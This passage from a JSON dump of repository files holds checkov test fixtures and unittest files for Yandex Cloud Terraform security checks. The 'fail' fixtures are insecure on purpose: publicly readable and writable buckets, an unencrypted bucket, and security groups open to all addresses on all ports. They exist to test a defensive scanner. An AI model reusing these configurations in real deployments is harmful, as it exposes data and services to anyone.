\"yandex_mdb_kafka_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}\n\nresource \"yandex_mdb_greenplum_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}\n\nresource \"yandex_mdb_elasticsearch_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}\n\nresource \"yandex_mdb_clickhouse_cluster\" \"fail\" {\n  name = \"test-mdb\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_ObjectStorageBucketEncryption/main.tf",
    "content": "# pass\nresource \"yandex_storage_bucket\" \"pass\" {\n  bucket = \"mybucket\"\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"dsdasd1213123\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n}\n\n# fail\nresource \"yandex_storage_bucket\" \"fail\" {\n  bucket = \"mybucket\"\n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_ObjectStorageBucketPublicAccess/main.tf",
    "content": "# pass\nresource \"yandex_storage_bucket\" \"pass\" {\n  bucket = \"test-bucket\"\n  acl    = \"private\"\n}\n\n# fail\nresource \"yandex_storage_bucket\" \"fail-1\" {\n  bucket = \"test-bucket\"\n  acl    = \"public-read\"\n}\n\nresource \"yandex_storage_bucket\" \"fail-2\" {\n  bucket = \"test-bucket\"\n  acl    = \"public-read-write\"\n}\n\nresource \"yandex_storage_bucket\" \"fail-3\" {\n  bucket = \"test-bucket\"\n  grant {\n    type        = \"Group\"\n    permissions = [\"READ\", \"WRITE\"]\n    uri         = \"http://acs.amazonaws.com/groups/global/AllUsers\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_VPCSecurityGroupAllowAll/main.tf",
    "content": "# pass\nresource \"yandex_vpc_security_group\" \"pass-1\" {\n  name        = \"My security group\"\n  ingress {\n    v4_cidr_blocks = [\"10.0.1.0/24\", \"10.0.2.0/24\"]\n    port           = 8080\n  }\n}\n\nresource \"yandex_vpc_security_group\" \"pass-2\" {\n  name        = \"My security group\"\n  ingress {\n    v4_cidr_blocks = [\"0.0.0.0/0\"]\n    port           = 22\n  }\n}\n\n# fail\nresource \"yandex_vpc_security_group\" \"fail-1\" {\n  name        = \"My security group\"\n  ingress {\n    v4_cidr_blocks = [\"0.0.0.0/0\"]\n    from_port      = 0\n    to_port        = 65535\n  }\n}\n\nresource \"yandex_vpc_security_group\" \"fail-2\" {\n  name        = \"My security group\"\n  ingress {\n    v4_cidr_blocks = [\"10.0.0.0/24\",\"0.0.0.0/0\"]\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/example_VPCSecurityGroupRuleAllowAll/main.tf",
    "content": "# pass\nresource \"yandex_vpc_security_group_rule\" \"pass-1\" {\n  direction              = \"ingress\"\n  v4_cidr_blocks         = [\"0.0.0.0/0\"]\n  from_port              = 8090\n  to_port                = 8099\n  protocol               = \"UDP\"\n}\n\nresource \"yandex_vpc_security_group_rule\" \"pass-2\" {\n  security_group_binding = yandex_vpc_security_group.group1.id\n  direction              = \"ingress\"\n  v4_cidr_blocks         = [\"10.0.1.0/24\"]\n  from_port              = 8090\n  to_port                = 8099\n  protocol               = \"UDP\"\n}\n\nresource \"yandex_vpc_security_group_rule\" \"pass-3\" {\n  security_group_binding = yandex_vpc_security_group.group1.id\n  direction              = \"ingress\"\n  v4_cidr_blocks         = [\"0.0.0.0/0\"]\n  port                   = 22\n  protocol               = \"TCP\"\n}\n\nresource \"yandex_vpc_security_group_rule\" \"pass-4\" {\n  security_group_binding = yandex_vpc_security_group.group1.id\n  direction              = \"egress\"\n  v4_cidr_blocks         = [\"0.0.0.0/0\"]\n  from_port              = 0\n  to_port                = 65535\n  protocol               = \"TCP\"\n}\n\n# fail\nresource \"yandex_vpc_security_group_rule\" \"fail-1\" {\n  security_group_binding = yandex_vpc_security_group.group1.id\n  direction              = \"ingress\"\n  description            = \"rule1 description\"\n  v4_cidr_blocks         = [\"0.0.0.0/0\"]\n  from_port              = 0\n  to_port                = 65535\n  protocol               = \"TCP\"\n}\n\nresource \"yandex_vpc_security_group_rule\" \"fail-2\" {\n  security_group_binding = yandex_vpc_security_group.group1.id\n  direction              = \"ingress\"\n  description            = \"rule2 description\"\n  v4_cidr_blocks         = [\"0.0.0.0/0\"]\n  protocol               = \"TCP\"\n}\n\nresource \"yandex_vpc_security_group_rule\" \"fail-3\" {\n  security_group_binding = yandex_vpc_security_group.group1.id\n  direction              = \"ingress\"\n  v4_cidr_blocks         = [\"10.0.0.0/24\",\"0.0.0.0/0\"]\n  port                   = -1\n  protocol               = \"TCP\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_ComputeInstanceGroupPublicIP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.ComputeInstanceGroupPublicIP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestComputeInstanceGroupPublicIP(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_ComputeInstanceGroupPublicIP\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_compute_instance_group.default\",\n            \"yandex_compute_instance_group.private\"\n        }\n        failing_resources = {\n            \"yandex_compute_instance_group.public\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_ComputeInstanceGroupSecurityGroup.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.ComputeInstanceGroupSecurityGroup import check\nfrom checkov.terraform.runner import Runner\n\nclass TestComputeInstanceGroupSecurityGroup(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_ComputeInstanceGroupSecurityGroup\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_compute_instance_group.pass\"\n        }\n        failing_resources = {\n            \"yandex_compute_instance_group.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_ComputeVMPublicIP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.ComputeVMPublicIP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestComputeVMPublicIP(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_ComputeVMPublicIP\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_compute_instance.default\",\n            \"yandex_compute_instance.private\"\n        }\n        failing_resources = {\n            \"yandex_compute_instance.public\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_ComputeVMSecurityGroup.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.ComputeVMSecurityGroup import check\nfrom checkov.terraform.runner import Runner\n\nclass TestComputeVMSecurityGroup(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_ComputeVMSecurityGroup\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_compute_instance.pass\"\n        }\n        failing_resources = {\n            \"yandex_compute_instance.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_ComputeVMSerialConsole.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.ComputeVMSerialConsole import check\nfrom checkov.terraform.runner import Runner\n\nclass TestComputeVMSerialConsole(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_ComputeVMSerialConsole\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_compute_instance.default\",\n            \"yandex_compute_instance.pass\"\n        }\n        failing_resources = {\n            \"yandex_compute_instance.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_IAMCloudElevatedMembers.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.IAMCloudElevatedMembers import check\nfrom checkov.terraform.runner import Runner\n\nclass TestIAMCloudElevatedMembers(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMCloudElevatedMembers\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_resourcemanager_cloud_iam_member.pass-1\",\n            \"yandex_resourcemanager_cloud_iam_member.pass-2\",\n            \"yandex_resourcemanager_cloud_iam_binding.pass-3\"\n        }\n        failing_resources = {\n            \"yandex_resourcemanager_cloud_iam_member.fail-1\",\n            \"yandex_resourcemanager_cloud_iam_binding.fail-2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_IAMFolderElevatedMembers.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.IAMFolderElevatedMembers import check\nfrom checkov.terraform.runner import Runner\n\nclass TestIAMFolderElevatedMembers(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMFolderElevatedMembers\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_resourcemanager_folder_iam_binding.pass-1\",\n            \"yandex_resourcemanager_folder_iam_member.pass-2\"\n        }\n        failing_resources = {\n            \"yandex_resourcemanager_folder_iam_binding.fail-1\",\n            \"yandex_resourcemanager_folder_iam_member.fail-2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_IAMOrganizationElevatedMembers.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.IAMOrganizationElevatedMembers import check\nfrom checkov.terraform.runner import Runner\n\nclass TestIAMOrganizationElevatedMembers(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMOrganizationElevatedMembers\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_organizationmanager_organization_iam_binding.pass-1\",\n            \"yandex_organizationmanager_organization_iam_member.pass-2\"\n        }\n        failing_resources = {\n            \"yandex_organizationmanager_organization_iam_binding.fail-1\",\n            \"yandex_organizationmanager_organization_iam_binding.fail-2\",\n            \"yandex_organizationmanager_organization_iam_binding.fail-3\",\n            \"yandex_organizationmanager_organization_iam_member.fail-4\",\n            \"yandex_organizationmanager_organization_iam_member.fail-5\",\n            \"yandex_organizationmanager_organization_iam_member.fail-6\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_IAMPassportAccountUsage.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.IAMPassportAccountUsage import scanner\nfrom checkov.terraform.runner import Runner\n\nclass TestIAMPassportAccountUsage(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMPassportAccountUsage\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[scanner.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_resourcemanager_folder_iam_binding.pass\",\n            \"yandex_resourcemanager_folder_iam_member.pass\",\n            \"yandex_resourcemanager_cloud_iam_binding.pass\",\n            \"yandex_resourcemanager_cloud_iam_member.pass\",\n            \"yandex_organizationmanager_organization_iam_binding.pass\",\n            \"yandex_organizationmanager_organization_iam_member.pass\"\n        }\n        failing_resources = {\n            \"yandex_resourcemanager_folder_iam_binding.fail\",\n            \"yandex_resourcemanager_folder_iam_member.fail\",\n            \"yandex_resourcemanager_cloud_iam_binding.fail\",\n            \"yandex_resourcemanager_cloud_iam_member.fail\",\n            \"yandex_organizationmanager_organization_iam_binding.fail\",\n            \"yandex_organizationmanager_organization_iam_member.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 6)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_K8SAutoUpgrade.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.K8SAutoUpgrade import check\nfrom checkov.terraform.runner import Runner\n\nclass TestK8SAutoUpgrade(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_K8SAutoUpgrade\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kubernetes_cluster.pass\"\n        }\n        failing_resources = {\n            \"yandex_kubernetes_cluster.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_K8SEtcdKMSEncryption.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.K8SEtcdKMSEncryption import check\nfrom checkov.terraform.runner import Runner\n\nclass TestK8SEtcdKMSEncryption(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_K8SEtcdKMSEncryption\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kubernetes_cluster.pass\"\n        }\n        failing_resources = {\n            \"yandex_kubernetes_cluster.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_K8SNetworkPolicy.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.K8SNetworkPolicy import check\nfrom checkov.terraform.runner import Runner\n\nclass TestK8SNetworkPolicy(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_K8SNetworkPolicy\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kubernetes_cluster.pass\"\n        }\n        failing_resources = {\n            \"yandex_kubernetes_cluster.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_K8SNodeGroupAutoUpgrade.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.K8SNodeGroupAutoUpgrade import check\nfrom checkov.terraform.runner import Runner\n\nclass TestK8SNodeGroupAutoUpgrade(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_K8SNodeGroupAutoUpgrade\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kubernetes_node_group.pass\"\n        }\n        failing_resources = {\n            \"yandex_kubernetes_node_group.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_K8SNodeGroupPublicIP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.K8SNodeGroupPublicIP import check\nfrom checkov.terraform.runner import Runner\n\nclass TestK8SNodeGroupPublicIP(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_K8SNodeGroupPublicIP\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kubernetes_node_group.default\",\n            \"yandex_kubernetes_node_group.private\"\n        }\n        failing_resources = {\n            \"yandex_kubernetes_node_group.public\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_K8SNodeGroupSecurityGroup.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.K8SNodeGroupSecurityGroup import check\nfrom checkov.terraform.runner import Runner\n\nclass TestK8SNodeGroupSecurityGroup(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_K8SNodeGroupSecurityGroup\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kubernetes_node_group.pass\"\n        }\n        failing_resources = {\n            \"yandex_kubernetes_node_group.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_K8SPublicIP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.K8SPublicIP import check\nfrom checkov.terraform.runner import Runner\n\nclass TestK8SPublicIP(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_K8SPublicIP\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kubernetes_cluster.default\",\n            \"yandex_kubernetes_cluster.private\"\n        }\n        failing_resources = {\n            \"yandex_kubernetes_cluster.public\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_K8SSecurityGroup.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.K8SSecurityGroup import check\nfrom checkov.terraform.runner import Runner\n\nclass TestK8SSecurityGroup(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_K8SSecurityGroup\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kubernetes_cluster.pass\"\n        }\n        failing_resources = {\n            \"yandex_kubernetes_cluster.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_KMSSymmetricKeyRotation.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.KMSSymmetricKeyRotation import check\nfrom checkov.terraform.runner import Runner\n\nclass TestKMSSymmetricKeyRotation(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_KMSSymmetricKeyRotation\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"yandex_kms_symmetric_key.pass\"\n        }\n        failing_resources = {\n            \"yandex_kms_symmetric_key.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/yandexcloud/test_MDBPublicIP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.yandexcloud.MDBPublicIP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMDBPublicIP(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_MDBPublicIP\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'yandex_mdb_postgresql_cluster.pass',\n            'yandex_mdb_sqlserver_cluster.pass',\n            'yandex_mdb_mysql_cluster.pass',\n            'yandex_mdb_mongodb_cluster.pass',\n            'yandex_mdb_kafka_cluster.pass',\n            'yandex_mdb_greenplum_cluster.pass',\n            'yandex_mdb_elasticsearch_cluster.pass',\n            'yandex_mdb_clickhouse_cluster.pass',\n        }\n        failing_resources = {\n            'yandex_mdb_postgresql_cluster.fail',\n            'yandex_mdb_sqlserver_cluster.fail',\n            'yandex_mdb_mysql_cluster.fail',\n            'yandex_mdb_mongodb_cluster.fail',\n            'yandex_mdb_kafka_cluster.fail',\n            'yandex_mdb_greenplum_cluster.fail',\n            'yandex_mdb_elasticsearch_cluster.fail',\n            'yandex_mdb_clickhouse_cluster.fail',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 8)\n        self.assertEqual(summary[\"failed\"], 8)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n   